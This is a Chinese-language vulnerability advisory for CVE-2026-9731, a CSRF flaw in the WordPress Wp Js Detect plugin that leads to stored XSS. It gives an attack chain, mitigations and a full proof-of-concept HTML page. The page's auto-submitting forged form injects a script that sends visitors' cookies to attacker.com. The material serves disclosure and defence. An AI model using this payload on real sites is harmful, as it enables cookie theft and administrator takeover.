IPBUF安全漏洞报告
English
CVE-2026-9731 CVSS 4.3 中危

CVE-2026-9731 WordPress Wp Js Detect插件CSRF漏洞

披露日期: 2026-07-08

漏洞信息

漏洞编号
CVE-2026-9731
漏洞类型
跨站请求伪造 (CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress Wp Js Detect Plugin

相关标签

CSRF跨站请求伪造WordPressWp Js Detect插件漏洞XSS存储型XSSnonce验证缺失中危漏洞未授权修改

漏洞概述

CVE-2026-9731是WordPress的Wp Js Detect插件中存在的一个跨站请求伪造(CSRF)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,于2026年7月8日公开披露。

Wp Js Detect是一款用于检测用户浏览器是否启用了JavaScript的WordPress插件,当用户禁用JavaScript时,插件会在前端显示自定义的通知信息。该插件在所有1.0.9及以下版本中都存在CSRF漏洞,根本原因在于其plugin_settings函数缺少正确的nonce验证机制。

由于nonce验证缺失或实现不正确,未经认证的远程攻击者可以通过伪造跨站请求,利用社会工程学手段诱骗已登录的WordPress站点管理员点击恶意链接,从而在管理员不知情的情况下修改插件的配置参数。具体而言,攻击者可以更新wp_non_js_notification_text(通知文本)和wp_non_js_notification_css(通知CSS样式)两个设置项。由于这些设置的输出内容未经过适当的转义处理就直接回显到前端页面,攻击者可以注入任意HTML、CSS甚至JavaScript代码,实现存储型跨站脚本攻击(Stored XSS),对网站访问者构成安全威胁。

该漏洞的CVSS 3.1评分为4.3分,属于中危级别。虽然漏洞本身需要用户交互(管理员点击恶意链接)才能触发,但由于WordPress管理员通常具有较高权限,一旦被利用,攻击者可能利用注入的内容进行钓鱼攻击、会话劫持或进一步提权,对网站安全造成严重影响。

技术细节

该漏洞的技术原理基于WordPress中常见的CSRF防护机制缺陷。WordPress使用nonce(number used once)机制来防止CSRF攻击,每个敏感操作都需要验证对应的nonce值。

在Wp Js Detect插件的plugin_settings函数中,开发者未正确实现nonce验证逻辑,导致以下问题:

1. **缺失nonce检查**:函数在处理表单提交时,没有调用check_admin_referer()或wp_verify_nonce()等函数来验证请求的合法性。
2. **缺少权限校验**:函数没有对当前用户的管理员权限进行验证,允许任何已登录用户甚至未认证用户触发设置更新。
3. **输出未转义**:更新后的设置内容(wp_non_js_notification_text和wp_non_js_notification_css)在前端显示时未使用esc_html()、esc_attr()等转义函数,导致注入的恶意代码能够直接在浏览器中执行。

攻击利用方式如下:

1. 攻击者构造一个恶意HTML页面,其中包含一个自动提交或伪装提交的表单,目标URL指向目标WordPress站点的插件设置处理端点。
2. 表单中包含恶意的JavaScript代码或HTML标签,作为wp_non_js_notification_text或wp_non_js_notification_css的参数值。
3. 攻击者通过钓鱼邮件、即时通讯等方式诱骗已登录的WordPress管理员访问该恶意页面。
4. 当管理员访问恶意页面时,浏览器会自动携带其会话Cookie向目标站点发送请求,由于缺少CSRF防护,该请求会被成功处理。
5. 恶意内容被存储到数据库中,每当有未启用JavaScript的用户访问网站时,注入的恶意代码就会执行。

相关漏洞代码位于插件的wp-js-detect.php文件的第190、192、193、250行,涉及设置处理函数和输出函数。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者使用搜索引擎(如Shodan、Censys)或WordPress指纹识别工具,扫描互联网上部署了Wp Js Detect插件(版本≤1.0.9)的WordPress网站,确定潜在的攻击目标。
STEP 2
步骤2:构造恶意页面
攻击者创建一个包含CSRF表单的恶意HTML页面,表单目标指向目标站点的插件设置处理端点,并在参数中注入恶意的JavaScript代码作为通知文本内容。
STEP 3
步骤3:社工诱骗
攻击者通过钓鱼邮件、社交媒体私信或论坛帖子等方式,将恶意页面链接发送给目标站点的管理员,利用社会工程学手段诱骗其点击。
STEP 4
步骤4:触发CSRF请求
当已登录的管理员点击恶意链接时,其浏览器自动携带有效的会话Cookie向目标站点发送伪造的POST请求,由于插件缺少nonce验证,请求被成功处理。
STEP 5
步骤5:恶意内容存储
攻击者注入的恶意JavaScript代码被存储到WordPress数据库的插件设置表中,与wp_non_js_notification_text字段关联。
STEP 6
步骤6:XSS代码执行
当普通用户访问网站且浏览器禁用了JavaScript时(实际上恶意脚本会在管理员等已登录用户访问时触发),注入的恶意代码在前端页面执行,可窃取用户Cookie、会话令牌或执行其他恶意操作。
STEP 7
步骤7:权限提升与持久化
攻击者利用窃取的会话信息可能获得管理员权限,进一步植入后门、上传WebShell或进行其他恶意活动,实现对网站的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2026-9731 PoC: CSRF exploit for Wp Js Detect plugin --> <!-- This HTML page will forge a request to update plugin settings --> <!-- when an authenticated WordPress admin visits it --> <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <!-- Auto-submitting form targeting the vulnerable plugin_settings function --> <form id="csrf-form" method="POST" action="http://target-wordpress-site.com/wp-admin/admin-post.php"> <!-- Action parameter identifying the plugin settings handler --> <input type="hidden" name="action" value="wp_js_detect_settings" /> <!-- Malicious notification text with XSS payload --> <input type="hidden" name="wp_non_js_notification_text" value="<script>alert('XSS via CSRF - CVE-2026-9731');document.location='https://attacker.com/steal?cookie='+document.cookie;</script>" /> <!-- Malicious CSS to further disguise or enhance the attack --> <input type="hidden" name="wp_non_js_notification_css" value="body{background:url('https://attacker.com/log?ref='+document.referrer)}" /> <!-- Submit button (can be hidden or auto-clicked via JS) --> <input type="submit" value="Click here to continue" /> </form> <script> // Auto-submit the form when the page loads document.getElementById('csrf-form').submit(); </script> <!-- Alternative: Use image-based CSRF if forms are blocked --> <!-- <img src="http://target-site.com/wp-admin/admin-post.php?action=wp_js_detect_settings&wp_non_js_notification_text=<script>alert(1)</script>" /> --> </body> </html>

影响范围

Wp Js Detect Plugin <= 1.0.9

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)暂时禁用Wp Js Detect插件,直到升级到安全版本;2)在wp-config.php中通过配置限制对admin-post.php的访问;3)为管理员账户强制启用双因素认证;4)部署Web应用防火墙规则,监控和阻止异常的设置更改请求;5)定期检查插件设置中的通知文本和CSS内容,确保未被篡改;6)对管理员进行安全意识培训,避免点击来历不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表